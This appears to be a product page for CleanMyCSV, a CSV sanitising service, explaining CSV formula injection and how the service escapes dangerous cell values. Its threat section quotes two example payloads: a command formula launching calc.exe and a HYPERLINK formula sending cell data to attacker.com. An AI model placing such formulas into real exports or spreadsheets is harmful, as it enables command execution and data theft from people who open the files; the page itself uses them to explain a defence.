Understanding CSV Formula Injection (OWASP Risk)
Spreadsheet applications like Microsoft Excel and Google Sheets automatically execute formulas starting with dynamic operators. Here is how CleanMyCSV secures your organization:
1. The Threat: Remote Command & Data Exfiltration Payload
When attackers input text like =CMD|' /C calc.exe'!A0 or =HYPERLINK("http://attacker.com/leak?data="&A2) into web forms, exporting those records into a CSV creates an executable payload inside Excel. Opening the file can execute local system commands or silently exfiltrate private worksheet data.
2. Automated Single-Quote Escaping (`'`)
CleanMyCSV parses every text cell in isolated memory. If a value begins with an unsafe operator (=, +, -, @) and is not a legitimate mathematical number, our engine prefixes it with a single quote (e.g. '=CMD...). Excel renders the payload as harmless static text without executing it.
3. Intelligent Mathematical Distinction
Naive security scripts break standard negative values or phone numbers starting with +. CleanMyCSV uses context-aware regex to differentiate between pure mathematical numbers (e.g. -14.50 or +33 6 12 34 56 78) and actual formula injection vectors.
4. Enterprise-Grade Security & Zero-Storage Pipeline
Security-conscious teams cannot risk uploading files to persistent third-party servers. CleanMyCSV runs on secure Google Cloud Run instances: data processing happens purely in-memory, signed links expire in 15 minutes, and temporary storage buckets are automatically wiped within 24 hours.